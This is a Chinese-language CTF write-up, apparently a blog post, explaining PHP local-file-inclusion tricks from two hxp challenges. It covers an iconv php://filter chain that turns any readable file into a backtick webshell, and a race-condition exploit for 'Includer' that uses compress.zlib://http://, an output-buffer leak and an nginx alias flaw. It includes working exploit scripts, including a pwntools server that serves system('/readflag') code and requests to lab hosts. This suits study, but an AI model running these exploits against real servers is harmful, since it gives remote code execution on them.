2024全网最全面及最新且最为详细的网络安全技巧 九之文件包含漏洞典例分析POC;EXP以及 如何防御和修复[含PHP源码和CTF精题WP详解](2)—— 作者:LJS

  • 目录

    9.3 hxp CTF - The End Of LFI?

    9.3.1 TL;DR

    9.3.2 Back To LFI

    PHP Base64 filter

    Iconv LFI

    Craft Base64 Payload

    RCE

    9.4 Includer

    Configuration Error

    Upload Arbitrary Data

    Keep Temp File

    Bypass Waf

    Leak Dir path

    Get Flag——所以整个流程我们可以总结为以下:

    整个题目的关键点主要是以下几点(来自 @wupco):


  • 9.3 hxp CTF - The End Of LFI?

  • 9.3.1 TL;DR

  • 在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE 。
  • 第一部分介绍利用背景以及原理,第二部分简单介绍 Fuzz 编码规则的原理,第三部分介绍相关的 CTF 题目。 这里先贴一下作者的 exp 地址,以示尊重:Solving "includer's revenge" from hxp ctf 2021 without controlling any files
  • 9.3.2 Back To LFI

  • 原本以为上次通过 POST 过大的 Body 正文让 Nginx 产生 Tmp 进而配合多重链接绕过 PHP 包含限制完成 RCE 已经是非常绝妙的了,但是利用点可能也相对局限,毕竟只验证了 Nginx ,可能换到其他服务器就不行了。
  • 但是,众所周知,LFI 是本地文件包含漏洞,突出一个文件,但是在 PHP 当中就比较的特殊了,我们可以通过 PHP Filter 来对文件进行一些简单的操作,例如比如 p 牛在 2016 年玩的令人印象深刻的利用的使用 Filter 技巧绕过死亡 exit 的操作:谈一谈php://filter的妙用 (完了,都 2024 年了,我还在学 P 牛 2016 年的老东西)。
  • 我们可以简单回顾一下。
  • PHP Base64 filter

  • 绕过死亡 exit 的文章(为了行文方便,下文以“ p 文”代称这篇文章)里面,我们可以知道,对于 PHP Base64 Filter 来说,会忽略掉非正常编码的字符,比如 p 文中就利用 PHP Filter Base64 可以去掉一些特殊字符:
  • 所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
  • 回到 PHP Base64 ,那什么是合法字符呢?
  • 合法字符只有A-Za-z0-9\/\=\+,其他字符会自动被忽略,那么包括不可见字符、控制字符什么的吗?
  • 简单做个验证:
  • <?php
    $a = "\x1bY\xffQ\xfa";              //YQ 为 a 的 base64 编码
    var_dump(base64_decode($a));
    
    // string(1) "a"
  • 我们可以看到,PHP 在处理 Base64 字符串的时候完全忽略了非法字符,并且成功解码了。
  • 好,让我们开始试一试吧!尝试 RCE 一句话 include 吧?!
  • TTT0r8.jpg

  • Iconv LFI

  • 接下来,我们这里再回顾一下 LFI ,由于 PHP Filter 的存在,我们可以利用一些操作简单处理一下对文件的编码格式等,举一个简单的例子,如果我们有一个文件内容为 <?php phpinfo(); 的 Base64 编码内容,当我们尝试 include 的时候就可以执行成功了:
  • include "php://filter/convert.base64-decode/resource=./e";
    
    // the content of e: PD9waHAgcGhwaW5mbygpOw==
    // base64 code of `<?php phpinfo();` is: PD9waHAgcGhwaW5mbygpOw== (without the backquote)
  • 所以,众所周知,include 函数实际包含的是 Base64 解码后的 PHP 代码。
  • 那我们有没有办法通过编码形式,构造产生自己想要的内容呢?这里就提到了我们今天要介绍的技巧。
  • PHP Filter 当中有一种 convert.iconv 的 Filter ,可以用来将数据从字符集 A 转换为字符集 B ,其中这两个字符集可以从 iconv -l 获得,这个字符集比较长,不过也存在一些实际上是其他字符集的别名。
  • 举个简单的例子:
  • <?php
    $url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text";
    echo file_get_contents($url);
    // Output:
    // some+ADwAPg-text
  • 使用以上例子,我们可以通过 iconv 来将 UTF-8 字符集转换到 UTF-7 字符集。那么这个有什么用呢?
  • 结合我们上述提到的编码、文件内容,我们是不是可以利用一些固定文件内容来产生 webshell 呢?
  • 结合 PHP Base64 宽松性,即使我们使用其他字符编码产生了不可见字符,我们也可以利用 convert.base64-decode 来去掉非法字符,留下我们想要的字符。
  • 所以我们先假设我们的文件内容为 14 个 a 字符,我们可以通过暴力遍历 iconv 支持的字符编码形式,看我们得到的结果,例如:
  • $url = "php://filter/";
    
    $url .= "convert.iconv.UTF8.CSISO2022KR";
    
    $url .= "/resource=data://,aaaaaaaaaaaaaa";     //我们这里简单使用 `data://` 来模拟文件内容读取。
    var_dump(file_get_contents($url));
    
    // hexdump:
    // 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 1b 24 29 43  |string(18) ".$)C|
    // 00000010  61 61 61 61 61 61 61 61  61 61 61 61 61 61 22 0a  |aaaaaaaaaaaaaa".|
  • 我们可以看到这个 UTF8.CSISO2022KR 编码形式,并且通过这个编码形式产生的字符串里面, C 字符前面的字符对于 PHP Base64 来说是非法字符,所以接下来我们只需要 base64-decode 一下就可以去掉不可见字符了,但是与此同时,我们的 C 字符也被 base64-decode 解码了,这时候我们需要再把解码结果使用一次 base64-encode 即可还原回来原来的 C 字符了。
  • $url = "php://filter/";
    $url .= "convert.iconv.UTF8.CSISO2022KR";
    $url .= "|convert.base64-decode";
    $url .= "/resource=data://,aaaaaaaaaaaaaa";
    var_dump(file_get_contents($url));
    
    // hexdump
    // 00000000  73 74 72 69 6e 67 28 31  31 29 20 22 09 a6 9a 69  |string(11) "...i|
    // 00000010  a6 9a 69 a6 9a 69 a6 22  0a                       |..i..i.".|
    
    $url = "php://filter/";
    $url .= "convert.iconv.UTF8.CSISO2022KR";
    $url .= "|convert.base64-decode|convert.base64-encode";
    $url .= "/resource=data://,aaaaaaaaaaaaaa";
    var_dump(file_get_contents($url));
    
    // hexdump
    // 00000000  73 74 72 69 6e 67 28 31  32 29 20 22 43 61 61 61  |string(12) "Caaa|
    // 00000010  61 61 61 61 61 61 61 61  22 0a                    |aaaaaaaa".|
  • Craft Base64 Payload

  • 那我们应该怎么构造需要的内容呢?因为 base64 编码合法字符里面并没有尖括号,所以我们不能通过以上方式直接产生 PHP 代码进行包含,但是我们可以通过以上技巧来产生一个 base64 字符串,最后再使用一次 base64 解码一次就可以了。
  • 例如我们生成 `PAaaaaa` ,最后经过 base64 解码得到第一个字符为 < ,后续为其他不需要的字符(我们这里不需要的字符称为垃圾字符)的字符串。
  • 所以我们接下来需要做的,就是利用以上技巧找到这么一类编码,可以只存在我们需要的构造一个 webshell 的 base64 字符串了。
  • 我们先看作者使用的几个示例,例如字符 8 ,我们可以使用 `convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2` 来生成
  • $url = "php://filter/";
    $url = $url."convert.iconv.UTF8.CSISO2022KR";
    $url = $url."|convert.base64-decode|convert.base64-encode|";
    
    $url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
    // $url = $url."|convert.base64-decode|convert.base64-encode";
    
    $url .= "/resource=data://,aaaaaaaaaaaaaa";
    var_dump(file_get_contents($url));
    
    // hexdump
    // 00000000  73 74 72 69 6e 67 28 35  32 29 20 22 38 01 fe 00  |string(52) "8...|
    // 00000010  43 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |C...a...a...a...|
    // 00000020  61 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |a...a...a...a...|
    // *
    // 00000040  22 0a                                             |".|
    
    // 起用了注释那一行后,即还原到 Base64 之后的 hexdump:
    // 00000000  73 74 72 69 6e 67 28 31  32 29 20 22 38 43 61 61  |string(12) "8Caa|
    // 00000010  61 61 61 61 61 61 61 61  22 0a                    |aaaaaaaa".|
  • 我们可以通过这种形式来将前面部分的构造成我们所需要的 base64 字符串,最后 base64 解码即可成为我们想要的 PHP 代码了。
  • RCE

  • 因为最终的 base64 字符串,是由 iconv 相对应的编码规则生成的,所以我们最好通过已有的编码规则来适当地匹配自己想要的 webshell ,比如
  • <?=`$_GET[0]`;;?>
  • 以上 payload 的 base64 编码为 PD89YCRfR0VUWzBdYDs7Pz4= ,而如果只使用了一个分号,则编码结果为 PD89YCRfR0VUWzBdYDs/Pg==这里 7 可能相对于斜杠比较好找一些,也可能是 exp 作者没有 fuzz 或者找到斜杠的生成规则,所以作者这里使用了两个分号避开了最终 base64 编码中的斜杠。
  • 根据以上规则,再将其反推回去即可,可以验证一下我们得到的结果:
  • <?php
    $base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
    $conversions = array(
        'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
        'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
        'C' => 'convert.iconv.UTF8.CSISO2022KR',
        '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
        '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
        'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
        's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
        'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
        'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
        'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
        'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
        '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
        'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
        'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
        'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
        'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
        '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
        '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
    );
    
    $filters = "convert.base64-encode|";
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    $filters .= "convert.iconv.UTF8.UTF7|";
    
    foreach (str_split(strrev($base64_payload)) as $c) {
        $filters .= $conversions[$c] . "|";
        $filters .= "convert.base64-decode|";
        $filters .= "convert.base64-encode|";
        $filters .= "convert.iconv.UTF8.UTF7|";
    }
    $filters .= "convert.base64-decode";
    
    $final_payload = "php://filter/{$filters}/resource=/etc/passwd";
    
    // echo $final_payload;
    var_dump(file_get_contents($final_payload));
    echo file_get_contents('http://192.168.174.130:8088/index.php?action=include&file='.urlencode($final_payload).'&0=id');
    // hexdump
    // 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 3c 3f 3d 60  |string(18) "<?=`|
    // 00000010  24 5f 47 45 54 5b 30 5d  60 3b 3b 3f 3e 18 22 0a  |$_GET[0]`;;?>.".|
  • 这里需要注意的地方是:
  • convert.iconv.UTF8.UTF7 将等号转换为字母。之所以使用这个的原因是 exp 作者遇到过有时候等号会让 convert.base64-decode 过滤器解析失败的情况,可以使用 iconv 从 UTF8 转换到 UTF7 ,会把字符串中的任何等号变成一些 base64 。但是实际测试貌似我遇到的情况并没有抛出 Error ,最差情况抛出了 warning 但不是特别影响,但是为了避免奇怪的错误,还是加上为好。

  • data://,后的数据是为了方便展示,需要补足一定的位数,当然如果使用 include 就不能用了,毕竟需要 RFI ,如果 RFI 选型能用,既然都是 RFI 了还整啥 LFI 呢2333

  • 当然通过以上案例,我们可以知道对于这种方法来说,其实文件内容并不重要,但至少得有内容,而且一般读取有内容的文件并不是大问题,所以我们可以简单尝试利用 /etc/passwd:
  • 1.png

  • 完成 RCE 

  • 9.4 Includer

    •  Difficulty estimate: medium
    • Solved:9/321
    • Points: round(1000 · min(1, 10 / (9 + [9 solves]))) = 556 points
    • Description:
    • Just sitting here and waiting for PHP 8.0 (lolphp).
    • Download:
    • includer-df39401c4c1c28ab.tar.xz (3.5 KiB)

  •  题目给出源代码以及部署文件,源代码如下:
  • <?php
    declare(strict_types=1);
    
    // 生成一个随机的目录名称,并创建该目录
    $rand_dir = 'files/'.bin2hex(random_bytes(32));
    mkdir($rand_dir) || die('mkdir'); // 如果创建目录失败,则输出错误信息并终止脚本
    
    // 设置环境变量 TMPDIR 为刚创建的目录路径
    putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv'); // 如果设置环境变量失败,则输出错误信息并终止脚本
    
    // 输出欢迎信息,包含用户提交的名字和随机目录路径
    echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";
    
    try {
        // 读取用户提交的文件内容,若文件内容中不包含 '<?',则包含该文件
        if (stripos(file_get_contents($_POST['file']), '<?') === false) {
            include_once($_POST['file']);
        }
    }
    finally {
        // 删除随机创建的目录及其所有内容
        system('rm -rf '.escapeshellarg($rand_dir));
    }
    
  • Configuration Error

  • 其中配置文件有一个比较明显的配置错误:
  • location /.well-known {
      autoindex on;
      alias /var/www/html/well-known/;
    }
  • 开启了列目录并且我们可以遍历到上层文件夹。
  • Upload Arbitrary Data

  • 一开始我看到这个没有`<?`的形式,我想到的是p牛博客里面有关死亡 exit 的内容,奈何原文用的是`file_put_content`,我们这里用的是`file_get_contents`,并且这里的判断也在使用了`file_get_contents`函数之后进行判断是否有`<?`,所以这里的编码绕过就不太可能了。
  • 而且这里最奇怪的就是之前用了一些看似无关紧要的代码,比如使用了`putenv()`函数等,给了我们一个 sandbox ,然而我们似乎无法利用表面的代码进行文件上传啥的操作。
  • balsn 队伍在公开的 wp 中写了比较详细的源码分析,这里我就配合其中的 wp 进行一下简单的分析。
  • 首先直接给出结论,我们可以使用`compress.zip://`流进行上传任意文件,接着我们来看看相关原理。
  • php-src以找到该流的相关触发解析函数`php_stream_gzopen`;ext/zlib/zlib_fopen_wrapper.c
  • php_stream *php_stream_gzopen(php_stream_wrapper *wrapper, const char *path, const char *mode, int options,
                                  zend_string **opened_path, php_stream_context *context STREAMS_DC)
    {
        ...
        // 检查路径是否以 "compress.zlib://" 开头
        // 如果是,将路径指针移动到 "compress.zlib://" 之后的位置
        if (strncasecmp("compress.zlib://", path, 16) == 0) {
            path += 16;
        }
        // 检查路径是否以 "zlib:" 开头
        // 如果是,将路径指针移动到 "zlib:" 之后的位置
        else if (strncasecmp("zlib:", path, 5) == 0) {
            path += 5;
        }
    
        // 打开指定的路径,使用给定的模式、选项和上下文
        // 这里使用的选项包括 STREAM_MUST_SEEK(流必须支持定位)和其他传入的选项
        innerstream = php_stream_open_wrapper_ex(path, mode, STREAM_MUST_SEEK | options | STREAM_WILL_CAST, opened_path, context);
        ...
        return NULL; // 返回 NULL,表明函数没有返回有效的 php_stream 对象
    }
  •      我们可以看到有个标志位STREAM_WILL_CAST我们可以先看看这个标志位用来干嘛,在main/php_streams.h定义了该标志位:
  • /* If you are going to end up casting the stream into a FILE* or
     * a socket, pass this flag and the streams/wrappers will not use
     * buffering mechanisms while reading the headers, so that HTTP
     * wrapped streams will work consistently.
     * If you omit this flag, streams will use buffering and should end
     * up working more optimally.
     * */
    #define STREAM_WILL_CAST                0x00000020
  • 很明显,这是一个用来将 stream 转换成 FILE* 的标志位,在这里就与我们创建临时文件有关了。
  • 接着我们跟进php_stream_open_wrapper_ex函数,该函数在main/php_streams.h中被 define 为_php_stream_open_wrapper_ex
  • PHPAPI php_stream *_php_stream_open_wrapper_ex(const char *path, const char *mode, int options,
            zend_string **opened_path, php_stream_context *context STREAMS_DC)
    {
        // 省略部分代码,用于打开文件流
    
        // 如果流不为空且选项中指定了必须可寻址
        if (stream != NULL && (options & STREAM_MUST_SEEK)) {
            php_stream *newstream;
    
            // 尝试将流转换为可寻址的
            switch(php_stream_make_seekable_rel(stream, &newstream,
                        (options & STREAM_WILL_CAST)
                            ? PHP_STREAM_PREFER_STDIO : PHP_STREAM_NO_PREFERENCE))
            {
                case SUCCESS:
                    // 如果转换成功,更新流
                    stream = newstream;
                    break;
                case FAILURE:
                    // 如果转换失败,执行错误处理逻辑
                    // 错误处理代码省略...
                    break;
            }
        }
    
        // 省略处理流的代码
    
        // 返回最终的流
        return stream;
    }
    
  • 该函数调用了php_stream_make_seekable_rel,并向其中传入了STREAM_WILL_CAST参数,
  • 我们跟进php_stream_make_seekable_rel函数,它在main/php_streams.h中被 define 为_php_stream_make_seekable,继续跟进main/streams/cast.c
  • /* {{{ php_stream_make_seekable */
    PHPAPI int _php_stream_make_seekable(php_stream *origstream, php_stream **newstream, int flags STREAMS_DC)
    {
        // 如果 newstream 为 NULL,返回失败
        if (newstream == NULL) {
            return PHP_STREAM_FAILED;
        }
        *newstream = NULL;  // 初始化 newstream 为 NULL
    
        // 如果没有强制转换的标志,且原始流已经支持寻址操作
        if (((flags & PHP_STREAM_FORCE_CONVERSION) == 0) && origstream->ops->seek != NULL) {
            *newstream = origstream;  // 将 newstream 设置为原始流
            return PHP_STREAM_UNCHANGED;  // 返回流未发生变化
        }
    
        // 如果需要创建一个新的临时流
        if (flags & PHP_STREAM_PREFER_STDIO) {
            *newstream = php_stream_fopen_tmpfile();  // 创建临时文件流
        } else {
            *newstream = php_stream_temp_new();  // 创建新的临时流
        }
    
        // 省略将原始流内容复制到新流的逻辑
    
        // 返回成功
        return PHP_STREAM_SUCCESS;
    }
    /* }}} */
    
  • 我们可以看到如果flagsPHP_STREAM_PREFER_STDIO都被设置的话,而PHP_STREAM_PREFER_STDIO在 main/php_streams.h 中已经被 define
  • #define PHP_STREAM_PREFER_STDIO     1
  • 我们只需要关心 flags 的值就好了,我们只需要确定 flags 的值非零即可,根据前面的跟进我们易知 flags 的在这里非零,所以这里就调用了php_stream_fopen_tmpfile函数创建了临时文件。
  • 于是我们可以做一个简单的验证,在本机上跑源代码,并用 pwntools 起一个服务用来发送一个大文件
  • from pwn import *
    import requests
    import re
    import threading
    import time
    
    # 定义一个函数,用于发送分块数据
    def send_chunk(l, data):
        l.send('''{}\r
    {}\r
    '''.format(hex(len(data))[2:], data))
    
    while(True):
        # 监听 9999 端口并等待连接
        l = listen(9999)
        l.wait_for_connection()
    
        # 定义三个数据块,每个块填充到 8KB 大小
        data1 = ''.ljust(1024 * 8, 'X')  # 用 'X' 填充到 8KB
        data2 = '<?php system("/readflag"); exit(); /*'.ljust(1024 * 8, 'b')  # 代码块,执行命令,填充到 8KB
        data3 = 'c*/'.rjust(1024 * 8, 'c')  # 结束代码块,填充到 8KB
    
        # 接收 HTTP 请求头
        l.recvuntil('\r\n\r\n')
        
        # 发送 HTTP 响应头,指定分块传输编码
        l.send('''HTTP/1.1 200 OK\r
    Content-Type: exploit/revxakep\r
    Connection: close\r
    Transfer-Encoding: chunked\r
    \r
    ''')
    
        # 发送第一个数据块
        send_chunk(l, data1)
    
        print('waiting...')
        print('sending php code...')
    
        # 发送包含 PHP 代码的第二个数据块
        send_chunk(l, data2)
    
        # 暂停 3 秒
        sleep(3)
    
        # 发送包含结束 PHP 代码的第三个数据块
        send_chunk(l, data3)
    
        # 发送结束标志,表示所有数据块已发送完毕
        l.send('''0\r
    \r
    \r
    ''')
        
        # 关闭连接
        l.close()
    
  • 这样我在本机上用 fswatch 很明显可以看到临时文件已经生成,并且文件内容就是我们发送的内容。
  • img

  • Keep Temp File

  • 临时文件终究还是会被 php 删除掉的,如果我们要进行包含的话,就需要利用一些方法让临时文件尽可能久的留存在服务器上,这样我们才有机会去包含它。
  • 所以这里是我们需要竞争的第一个点,基本上我们有两种方法让它停留比较久的时间:
  • 使用大文件传输,这样在传输的时候就会有一定的时间让我们包含到文件了。

  • 使用 FTP 速度控制,大文件传输根本上还是传输速度的问题,我们可以通过一些方式限制传输速率,比较简单的也可以利用compress.zlib://ftp://形式,控制 FTP 速度即可

  • Bypass Waf

  • 接下来我们就要看如何来对关键地方进行绕过了。
  • if (stripos(file_get_contents($_POST['file']), '<?') === false) {
            include_once($_POST['file']);
        }
  • 这个地方问了很多师傅,包括一血的 TokyoWesterns 的队员以及参考了主要的公开 WP,基本都是 利用两个函数之间极端的时间窗进行绕过。
  • 什么意思呢?也就是说,在极其理想的情况下,我们通过自己的服务先发送一段垃圾数据,这时候通过stripos的判断就是没有 PHP 代码的文件数据,接着我们利用 HTTP 长链接的形式,只要这个链接不断开,在我们绕过第一个判断之后,我们就可以发送第二段含有 PHP 代码的数据了,这样就能使include_once包含我们的代码了。
  • 因为我们无法知道什么时候能绕过第一个判断,所以这里的方法只能利用竞争的形式去包含临时文件,这里是第二个我们需要竞争的点。
  • Leak Dir path

  • 最后,要做到文件包含,自然得先知道它的文件路径,而文件路径每次都是随机的,所以我们又不得不通过某些方式去获取路径。
  • 虽然我们可以直接看到题目是直接给出了路径,但是乍一看代码我们貌似只能等到全部函数结束之后才能拿到路径,然而之前我们说到的需要保留的长链接不能让我们立即得到我们的 sandbox 路径。
  • 所以我们需要通过传入过大的 name 参数,导致 PHP output buffer 溢出,在保持连接的情况下获取沙箱路径,参考代码:
  • # 构造数据部分
    data = '''file=compress.zlib://http://192.168.151.132:8080&name='''.strip() + 'a' * (1024 * 7 + 882)
    # 发送 POST 请求
    r.send('''POST / HTTP/1.1\r
    Host: localhost\r
    Connection: close\r
    Content-Length: {}\r
    Content-Type: application/x-www-form-urlencoded\r
    Cookie: PHPSESSID=asdasdasd\r
    \r
    {}'''.format(len(data), data))
    
  • Get Flag——所以整个流程我们可以总结为以下:

  • 利用 compress.zlib://http://orcompress.zlib://ftp:// 来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件

  • 利用超长的 name 溢出 output buffer 得到 sandbox 路径

  • 利用 Nginx 配置错误,通过 .well-known../files/sandbox/来获取我们 tmp 文件的文件名

  • 发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码

  • 绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag

  • 整个题目的关键点主要是以下几点(来自 @wupco):

  • 需要利用大文件或ftp速度限制让连接保持

  • 传入name过大 overflow output buffer,在保持连接的情况下获取沙箱路径

  • tmp文件需要在两种文件直接疯狂切换,使得第一次file_get_contents获取的内容不带有<?,include的时候是正常php代码,需要卡时间点,所以要多跑几次才行

  • .well-known../files/是nginx配置漏洞,就不多说了,用来列生成的tmp文件

  • 由于第二个极短的时间窗,我们需要比较准确地调控延迟时间,之前没调控好时间以及文件大小,挂一晚上脚本都没有 hit 中一次,第二天经过 @rebirth 的深刻指点,修改了一下延迟时间以及服务器响应的文件的大小,成功率得到了很大的提高,基本每次都可以 getflag。  
  • img

  • 脚本放在gist-exp.py,其中 192.168.34.1 是本地题目地址,192.168.151.132 是 client 的地址。 

\textup{\textup{\pm \alpha \csc \Delta \coth }} 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值